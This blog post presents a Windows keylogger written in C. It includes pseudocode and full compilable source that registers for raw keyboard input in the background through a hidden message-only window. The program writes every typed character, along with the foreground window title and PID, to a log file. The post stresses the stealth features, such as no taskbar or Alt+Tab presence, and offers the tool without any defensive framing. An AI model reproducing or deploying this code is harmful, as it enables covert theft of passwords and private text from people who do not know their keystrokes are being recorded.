Post

Advanced-Keylogging

Advanced-Keylogging

What is it?

A more advanced keylogger that uses the Raw Input Model instead of polling. Rather than calling GetAsyncKeyState in a loop every 50ms, it registers as a raw input consumer and receives keyboard events directly from the hardware via Windows messages. The difference: polling misses fast keystrokes, raw input catches every single one.

How it works

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
main():
  CreateFileW("Keylogger.txt", GENERIC_WRITE, CREATE_ALWAYS)
  → g_FileHandle: log file

  RegisterClassExW(&WinClass)
  → Registers window class "KeylogClass" with WindowCallBack as the handler

  CreateWindowExW(0, "KeylogClass", NULL, 0, 0,0,0,0,
                  HWND_MESSAGE, ...)
  → Creates a hidden message-only window
    HWND_MESSAGE = no visible window, no taskbar entry
    purely exists to receive WM_INPUT messages

  RawDevice.usUsagePage = HID_USAGE_PAGE_GENERIC  (0x01)
  RawDevice.usUsage     = HID_USAGE_GENERIC_KEYBOARD (0x06)
  RawDevice.dwFlags     = RIDEV_INPUTSINK
  RawDevice.hwndTarget  = WindowHandle
  RegisterRawInputDevices(&RawDevice, 1, ...)
  → Registers for raw keyboard input
    RIDEV_INPUTSINK = receive input even when window is NOT in foreground
                      (captures keys typed in any application)

  while (GetMessageW(&Msg, NULL, 0, 0)):
    DispatchMessage(&Msg)
  → Message loop runs forever, routing WM_INPUT to WindowCallBack


WindowCallBack (called by DispatchMessage on every message):

  case WM_INPUT:
    GetRawInputData(lParam, RID_INPUT, NULL, &Length, ...)
    → Query required buffer size first (NULL data pointer)

    RawInput = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, Length)
    GetRawInputData(lParam, RID_INPUT, RawInput, &Length, ...)
    → Retrieve the actual RAWINPUT struct

    if RawInput->data.keyboard.Message == WM_KEYDOWN:
      GetKeyStrokes(RawInput->data.keyboard.VKey)
    → Only process key-down events, not key-up
      VKey = the virtual key code of the pressed key

    HeapFree(RawInput)


GetKeyStrokes(UINT iKey):

  GetWindowTitle()
  → Check if active window changed, write new title to log if so

  GetKeyState(VK_CAPITAL)
  GetKeyState(VK_SCROLL)
  GetKeyState(VK_NUMLOCK)
  GetKeyState(VK_SHIFT)
  GetKeyboardState(Keyboard[256])
  → Refresh modifier key states before translation
    (determines if output is uppercase, shifted symbol, etc.)

  switch(iKey):
    VK_CONTROL, VK_ESCAPE, VK_RETURN,
    VK_BACK, VK_TAB, VK_SPACE → skip (no output)

    default:
      ToUnicode(iKey, MapVirtualKeyW(iKey, MAPVK_VK_TO_VSC),
                Keyboard, Unicode, 1, 0)
      → Converts virtual key + modifier state → Unicode character
      swprintf(Buffer, L"%ls", Unicode)

  WriteFile(g_FileHandle, Buffer, wcslen(Buffer) * sizeof(WCHAR))
  → Write character to Keylogger.txt


GetWindowTitle():
  GetForegroundWindow() → CurrentWindow
  GetWindowThreadProcessId(CurrentWindow, &ProcId)
  GetWindowTextW(CurrentWindow, Buffer, 250)

  if Buffer != g_TitleBuffer:  (window changed)
    memcpy(g_TitleBuffer, Buffer)
    swprintf(CurrentWindowTitle, L"\n\n[%ld] %ls\n", ProcId, Buffer)
    WriteFile(g_FileHandle, CurrentWindowTitle, ...)

The key difference from the polling keylogger: the Raw Input Model is event-driven. GetMessageW blocks until Windows delivers a message — no CPU spin, no sleep timer, no chance of missing a fast keystroke. The RIDEV_INPUTSINK flag is particularly important — without it the raw input only arrives when the registered window is in the foreground, making it useless. With it, keystrokes from any application are captured regardless of focus.

The hidden HWND_MESSAGE window is the standard technique for creating a message receiver with no visible presence — it’s not in the taskbar, not in Alt+Tab, has no visible area, and exists purely to give the raw input registration somewhere to deliver events.

keylogger.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
/*
	This more advanced keylogger captures keystores using Raw Input Model. This model works more efficient than our basic keylogger since we capture the keypresses only when they are pressed instead of pulling them continuely.

	Raw Input Model enables applications to retrieve the data direclty from the hardware without needing the intermediate layers by windows APIs
*/

#include <Windows.h>
#include <hidusage.h>
#include <stdio.h>

#define KEYLOG_FILENAME  L"Keylogger.txt"
#define KEYLOG_BUFFER 250
#define KEYLOG_CLASS L"KeylogClass"

HANDLE g_FileHandle = NULL;
WCHAR g_TitleBuffer[KEYLOG_BUFFER + 1] = { 0 };

VOID GetWindowTitle() {

	// Setup variables
	WCHAR Buffer[KEYLOG_BUFFER + 1] = { 0 };
	WCHAR CurrentWindowTitle[KEYLOG_BUFFER + 1] = { 0 };
	DWORD ProcId = { 0 };
	HWND  CurrentWindow = { 0 };
	DWORD dwNumBytesWritten = { 0 };

	// Empty buffers
	RtlSecureZeroMemory(Buffer, sizeof(Buffer));
	RtlSecureZeroMemory(CurrentWindowTitle, sizeof(CurrentWindowTitle));

	// Get Active window 
	if ((CurrentWindow = GetForegroundWindow())) {

		// Retrieve window title name, so we can identify when a new window has been opend with its PID
		GetWindowThreadProcessId(CurrentWindow, &ProcId);

		// If no window has been detected, return
		if (!GetWindowTextW(CurrentWindow, Buffer, (sizeof(Buffer) / sizeof(WCHAR)))) {
			swprintf(Buffer, KEYLOG_BUFFER, L"(No Title Detected!) \n");
		}

		// Check if Window title has changed based on its privous handle
		if (wcsncmp(g_TitleBuffer, Buffer, wcslen(Buffer)) != 0) {

			// Copy title into buffer
			memcpy(g_TitleBuffer, Buffer, sizeof(Buffer));

			// Print title to log file (With WriteFile)
			swprintf(CurrentWindowTitle, KEYLOG_BUFFER, L"\n\n[%ld] %ls\n", ProcId, g_TitleBuffer);

			// wchar_t is needed because WriteFile expects num of bytes to write not the chars
			if (!WriteFile(g_FileHandle, CurrentWindowTitle, wcslen(CurrentWindowTitle) * sizeof(wchar_t), &dwNumBytesWritten, NULL)) {
				printf("[!] WriteFile Failed: %d \n", GetLastError());
				return;
			}

		}
	}
}


VOID GetKeyStrokes(UINT iKey) {

	WCHAR Unicode[2] = { 0 };
	BYTE Keyboard[256] = { 0 };
	WCHAR Buffer[KEYLOG_BUFFER + 1] = { 0 };
	DWORD dwNumBytesWritten = { 0 };

	// Log current window
	GetWindowTitle();

	// Refresh the keys before reading the full keyboard state
	GetKeyState(VK_CAPITAL); GetKeyState(VK_SCROLL); GetKeyState(VK_NUMLOCK); GetKeyState(VK_SHIFT);
	GetKeyboardState(Keyboard);

	// We check if one or the following keys are intercepted, these keys are the ones we don't care about
	switch (iKey) {

	case VK_CONTROL: // ctrl key
		break;

	case VK_ESCAPE: // esc key
		break;

	case VK_RETURN: // del key
		break;

	case VK_BACK: // backspace key
		break;

	case VK_TAB: // tab key
		break;

	case VK_SPACE: // space key
		break;

	default: 
		// Along there are keys pressent write them to file
		if (ToUnicode(iKey, MapVirtualKeyW(iKey, MAPVK_VK_TO_VSC), Keyboard, Unicode, 1, 0) > 0) {
			swprintf(Buffer, KEYLOG_BUFFER, L"%ls", Unicode);
		}
	}

	// Here we actually writing our keystrokes to file
	if (!WriteFile(g_FileHandle, Buffer, wcslen(Buffer) * sizeof(WCHAR), &dwNumBytesWritten, NULL)) {
		printf("[!] WriteFile Failed: %d \n", GetLastError());
		return;
	}
}


/*
	This callback receives and processes raw keyboard input

	Window -> Handle to the window receiving the message
	iMessage -> The window message identifier (WM_INPUT for raw input)
	wParam -> Input type: RIM_INPUT (foreground) or RIM_INPUTSINK (background)
	lParam -> Handle to the RAWINPUT structure containing the input data
*/
LRESULT CALLBACK WindowCallBack(_In_ HWND Window, _In_ UINT iMessage, _In_ WPARAM wParam, _In_ LPARAM lParam) {

	UINT Length = { 0 };
	PRAWINPUT RawInput = { 0 };

	switch (iMessage) {

	case WM_DESTROY: // Window has been closed (destroyed)
		return 0;

	case WM_INPUT: // Key pressed

		// Determine size of keyboard input
		GetRawInputData((HRAWINPUT)lParam, RID_INPUT, NULL, &Length, sizeof(RAWINPUTHEADER));

		// Allocate memory for the raw input struct
		RawInput = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, Length);
		if (!RawInput) {
			printf("[!] HeapAlloc Failed: %d \n", GetLastError());
			break;
		}

		// Retrieve the raw data
		if (!GetRawInputData((HRAWINPUT)lParam, RID_INPUT, RawInput, &Length, sizeof(RAWINPUTHEADER))) {
			printf("[!] GetRawInputData Failed: %d \n", GetLastError());

			// Clean up before breaking
			RtlSecureZeroMemory(RawInput, Length);
			HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, RawInput);
			break;
		}

		// Ensure only valid key is processed
		if (RawInput->data.keyboard.Message == WM_KEYDOWN) {
			GetKeyStrokes(RawInput->data.keyboard.VKey);
		}

		// Clean up after processing
		RtlSecureZeroMemory(RawInput, Length);
		HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, RawInput);
		break;

		// return input keyboard key struct
		return DefWindowProc(Window, iMessage, wParam, lParam);
	}
}


int main() {
	WNDCLASSEX     WinClass = { 0 };
	RAWINPUTDEVICE RawDevice = { 0 };
	HWND           WindowHandle = { 0 };
	MSG            Msg = { 0 };

	printf("[+] Starting KeyLogger! \n");

	// Create file to store captured keystrokes
	g_FileHandle = CreateFileW(KEYLOG_FILENAME, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
	if (g_FileHandle == INVALID_HANDLE_VALUE) {
		printf("[!] CreateFileW Failed: %d \n", GetLastError());
		return -1;
	}

	// Initialize and register window class
	WinClass.cbSize = sizeof(WinClass);
	WinClass.lpfnWndProc = WindowCallBack;
	WinClass.hInstance = GetModuleHandle(NULL);
	WinClass.lpszClassName = KEYLOG_CLASS;

	if (!RegisterClassExW(&WinClass)) {
		printf("[!] RegisterClassExW Failed: %d \n", GetLastError());
		goto _CleanUp;
	}

	// Create hidden message-only window to receive keyboard input
	WindowHandle = CreateWindowExW(0, WinClass.lpszClassName, NULL, 0, 0, 0, 0, 0, HWND_MESSAGE, NULL, GetModuleHandle(NULL), NULL);
	if (!WindowHandle) {
		printf("[!] CreateWindowExW Failed with Error: %d \n", GetLastError());
		goto _CleanUp;
	}

	// Configure raw input device to capture keyboard (RIDEV_INPUTSINK = capture even when unfocused)
	RawDevice.usUsagePage = HID_USAGE_PAGE_GENERIC;
	RawDevice.usUsage = HID_USAGE_GENERIC_KEYBOARD;
	RawDevice.dwFlags = RIDEV_INPUTSINK;
	RawDevice.hwndTarget = WindowHandle;

	if (!RegisterRawInputDevices(&RawDevice, 1, sizeof(RAWINPUTDEVICE))) {
		printf("[-] RegisterRawInputDevices Failed: %d \n", GetLastError());
		goto _CleanUp;
	}

	// Enter message loop — processes WM_INPUT until WM_QUIT
	while (GetMessageW(&Msg, NULL, 0, 0)) {
		DispatchMessage(&Msg);  // Route message to WindowCallBack
	}

_CleanUp:
	if (g_FileHandle != INVALID_HANDLE_VALUE) {
		CloseHandle(g_FileHandle);
	}
	if (WindowHandle) {
		DestroyWindow(WindowHandle);
	}
	UnregisterClass(KEYLOG_CLASS, GetModuleHandle(NULL));
	
	return 0;
}
This post is licensed under CC BY 4.0 by the author.